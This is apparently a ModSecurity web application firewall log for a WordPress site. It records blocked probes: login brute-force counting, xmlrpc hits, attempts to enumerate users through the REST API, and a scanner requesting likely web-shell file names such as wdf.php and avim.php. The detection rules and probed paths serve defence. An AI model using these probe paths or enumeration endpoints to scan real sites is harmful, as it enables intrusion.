[Sun Mar 01 19:22:18.705183 2026] [:error] [pid 7133:tid 7159] [client 43.157.22.57:33222] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaQhavCtubh8pR64qB8aMwAAAFg"]
[Sun Mar 01 19:33:13.142565 2026] [:error] [pid 41780:tid 41803] [client 51.75.233.102:35780] [client 51.75.233.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.233.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaQj-cONkVoocLIqzy0kjwAAA9Q"]
[Sun Mar 01 20:31:39.933112 2026] [:error] [pid 38034:tid 38062] [client 175.6.217.4:51906] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaQxqwxtfZjwlJok9K8NoAAAARg"]
[Sun Mar 01 21:48:06.948942 2026] [:error] [pid 7133:tid 7147] [client 20.253.223.69:45768] [client 20.253.223.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.253.223.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaRDlvCtubh8pR64qB9QrQAAAEw"]
[Sun Mar 01 22:01:22.478908 2026] [:error] [pid 40750:tid 40771] [client 20.63.80.2:23899] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaRGsgfBuk03yQKDyqthDQAAAdI"]
[Sun Mar 01 22:01:23.323470 2026] [:error] [pid 33822:tid 33843] [client 20.63.80.2:23627] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaRGs26W3ygu1YVssuYqTQAAApM"]
[Sun Mar 01 22:01:24.147821 2026] [:error] [pid 40750:tid 40761] [client 20.63.80.2:23912] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaRGtAfBuk03yQKDyqthEQAAAcg"]
[Sun Mar 01 22:01:24.972974 2026] [:error] [pid 7133:tid 7146] [client 20.63.80.2:23914] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aaRGtPCtubh8pR64qB9U1AAAAEs"]
[Sun Mar 01 22:07:49.030178 2026] [:error] [pid 40750:tid 40762] [client 43.153.7.191:49248] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaRINQfBuk03yQKDyqtkFwAAAck"]
[Sun Mar 01 22:22:10.018780 2026] [:error] [pid 38241:tid 38263] [client 136.119.24.29:62274] [client 136.119.24.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.24.29, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRLkvKRPk6YnJBxw_wxGQAAANM"]
[Sun Mar 01 22:22:12.871767 2026] [:error] [pid 38241:tid 38267] [client 136.119.24.29:62274] [client 136.119.24.29] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaRLlPKRPk6YnJBxw_wxMQAAANc"]
[Sun Mar 01 22:22:15.305732 2026] [:error] [pid 38241:tid 38263] [client 136.119.24.29:62274] [client 136.119.24.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.24.29, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRLl_KRPk6YnJBxw_wxQAAAANM"]
[Sun Mar 01 22:23:21.425331 2026] [:error] [pid 44644:tid 44670] [client 34.122.40.135:56025] [client 34.122.40.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.40.135, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRL2Z3RJaXMcw3y9V_knQAAABc"]
[Sun Mar 01 22:23:24.267530 2026] [:error] [pid 44644:tid 44663] [client 34.122.40.135:56025] [client 34.122.40.135] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaRL3J3RJaXMcw3y9V_kowAAABA"]
[Sun Mar 01 22:23:26.672437 2026] [:error] [pid 44644:tid 44655] [client 34.122.40.135:56025] [client 34.122.40.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.40.135, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRL3p3RJaXMcw3y9V_kpQAAAAg"]
[Sun Mar 01 22:37:40.084522 2026] [:error] [pid 40750:tid 40755] [client 34.56.145.32:60215] [client 34.56.145.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.56.145.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRPNAfBuk03yQKDyqt60AAAAcI"]
[Sun Mar 01 22:37:43.128593 2026] [:error] [pid 40750:tid 40774] [client 34.56.145.32:60215] [client 34.56.145.32] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaRPNwfBuk03yQKDyqt64QAAAdU"]
[Sun Mar 01 22:37:45.344323 2026] [:error] [pid 40750:tid 40771] [client 34.56.145.32:60215] [client 34.56.145.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.56.145.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRPOQfBuk03yQKDyqt67AAAAdI"]
[Sun Mar 01 22:43:45.507477 2026] [:error] [pid 7165:tid 7189] [client 52.178.68.120:36606] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.178.68.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaRQoRRjCrA8qWBjgG-OAAAAAlY"]
[Sun Mar 01 23:32:25.049410 2026] [:error] [pid 7165:tid 7182] [client 51.83.35.19:39196] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.83.35.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaRcCRRjCrA8qWBjgG-9gwAAAk8"]
[Sun Mar 01 23:54:13.974654 2026] [:error] [pid 37032:tid 37042] [client 179.43.191.19:57994] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaRhJeu0U4o7eSImsVSXpwAAAYg"], referer: https://vetstars.com.au/
[Mon Mar 02 00:03:03.818366 2026] [:error] [pid 7165:tid 7182] [client 4.204.200.32:54021] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaRjNxRjCrA8qWBjgG_ZXAAAAk8"]
[Mon Mar 02 00:03:05.608213 2026] [:error] [pid 40750:tid 40775] [client 4.204.200.32:30513] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaRjOQfBuk03yQKDyqu0wAAAAdY"]
[Mon Mar 02 00:03:08.937447 2026] [:error] [pid 7165:tid 7178] [client 4.204.200.32:63097] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaRjPBRjCrA8qWBjgG_ZbgAAAks"]
[Mon Mar 02 00:03:11.037904 2026] [:error] [pid 40750:tid 40759] [client 4.204.200.32:30523] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/path.php"] [unique_id "aaRjPwfBuk03yQKDyqu0zwAAAcY"]
[Mon Mar 02 00:03:11.724279 2026] [:error] [pid 7133:tid 7146] [client 4.204.200.32:30646] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaRjP_Ctubh8pR64qB-DJgAAAEs"]
[Mon Mar 02 00:03:13.546914 2026] [:error] [pid 33822:tid 33827] [client 4.204.200.32:63040] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaRjQW6W3ygu1YVssuZK9QAAAoM"]
[Mon Mar 02 00:03:14.714000 2026] [:error] [pid 7133:tid 7139] [client 4.204.200.32:30518] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaRjQvCtubh8pR64qB-DLAAAAEQ"]
[Mon Mar 02 00:03:16.387668 2026] [:error] [pid 38241:tid 38266] [client 4.204.200.32:63097] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaRjRPKRPk6YnJBxw_xg2QAAANY"]
[Mon Mar 02 00:03:22.603547 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:58848] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaRjSgfBuk03yQKDyqu04wAAAdc"]
[Mon Mar 02 00:03:24.895346 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:30599] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaRjTPKRPk6YnJBxw_xg_AAAAME"]
[Mon Mar 02 00:03:27.547437 2026] [:error] [pid 40750:tid 40758] [client 4.204.200.32:30472] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaRjTwfBuk03yQKDyqu06QAAAcU"]
[Mon Mar 02 00:03:29.072477 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:30486] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaRjUfKRPk6YnJBxw_xhFQAAAMw"]
[Mon Mar 02 00:03:30.188663 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:63090] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaRjUhRjCrA8qWBjgG_ZrgAAAkk"]
[Mon Mar 02 00:03:30.953248 2026] [:error] [pid 7165:tid 7187] [client 4.204.200.32:30635] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaRjUhRjCrA8qWBjgG_ZsAAAAlQ"]
[Mon Mar 02 00:03:31.986692 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:30643] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaRjUxRjCrA8qWBjgG_ZtAAAAkw"]
[Mon Mar 02 00:03:33.164578 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:30602] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "aaRjVfKRPk6YnJBxw_xhKAAAAMk"]
[Mon Mar 02 00:03:35.480526 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:58816] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avim.php"] [unique_id "aaRjVwfBuk03yQKDyqu09AAAAcc"]
[Mon Mar 02 00:03:36.777363 2026] [:error] [pid 40750:tid 40775] [client 4.204.200.32:30636] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avim.php"] [unique_id "aaRjWAfBuk03yQKDyqu0-AAAAdY"]
[Mon Mar 02 00:03:39.936078 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:30655] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avim.php"] [unique_id "aaRjWwfBuk03yQKDyqu1AwAAAcc"]
[Mon Mar 02 00:03:42.433517 2026] [:error] [pid 7133:tid 7135] [client 4.204.200.32:63070] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avim.php"] [unique_id "aaRjXvCtubh8pR64qB-DPAAAAEA"]
[Mon Mar 02 00:03:43.728750 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:30519] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaRjXxRjCrA8qWBjgG_ZwgAAAkU"]
[Mon Mar 02 00:03:47.701480 2026] [:error] [pid 40750:tid 40754] [client 4.204.200.32:63057] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaRjYwfBuk03yQKDyqu1EAAAAcE"]
[Mon Mar 02 00:03:48.833035 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:30640] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaRjZBRjCrA8qWBjgG_Z4AAAAkk"]
[Mon Mar 02 00:03:49.773902 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:30525] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaRjZRRjCrA8qWBjgG_Z5QAAAkA"]
[Mon Mar 02 00:03:51.042070 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:54021] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaRjZ53RJaXMcw3y9V_wHwAAABQ"]
[Mon Mar 02 00:03:57.554135 2026] [:error] [pid 40750:tid 40763] [client 4.204.200.32:58866] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaRjbQfBuk03yQKDyqu1KAAAAco"]
[Mon Mar 02 00:03:58.793940 2026] [:error] [pid 40750:tid 40777] [client 4.204.200.32:58855] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaRjbgfBuk03yQKDyqu1KwAAAdg"]
[Mon Mar 02 00:04:55.316642 2026] [:error] [pid 41780:tid 41792] [client 4.204.200.32:29787] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaRjp8ONkVoocLIqzy068wAAA8k"]
[Mon Mar 02 00:04:58.755801 2026] [:error] [pid 7165:tid 7191] [client 4.204.200.32:58839] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaRjqhRjCrA8qWBjgG_bOgAAAlg"]
[Mon Mar 02 00:05:04.097227 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:58840] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaRjsPKRPk6YnJBxw_xiCAAAAM4"]
[Mon Mar 02 00:05:06.359578 2026] [:error] [pid 40750:tid 40768] [client 4.204.200.32:57027] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaRjsgfBuk03yQKDyqu1-gAAAc8"]
[Mon Mar 02 00:05:07.073550 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:58819] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/olfclass.php"] [unique_id "aaRjsxRjCrA8qWBjgG_bTgAAAkw"]
[Mon Mar 02 00:05:10.999738 2026] [:error] [pid 40750:tid 40753] [client 4.204.200.32:30649] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/olfclass.php"] [unique_id "aaRjtgfBuk03yQKDyqu2AgAAAcA"]
